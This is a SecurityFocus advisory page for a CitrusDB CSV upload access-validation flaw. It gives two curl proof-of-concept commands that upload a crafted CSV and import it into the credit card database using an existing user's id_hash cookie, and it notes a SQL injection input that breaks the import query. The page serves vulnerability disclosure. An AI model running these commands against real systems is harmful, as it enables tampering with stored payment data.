Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

CitrusDB CSV File Upload Access Validation Vulnerability

No exploit is required.

The following proof of concept is available:
This uploads the file exploit.csv.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
userfile=@exploit.csv --form Import=Import

This imports the file to the credit card database:

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on"

Note: The above proof of concepts require the id_hash of an existing user.

THe following proof of concept demonstrates the SQL injection vulnerability:
Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail.







 

Privacy Statement
Copyright 2008, SecurityFocus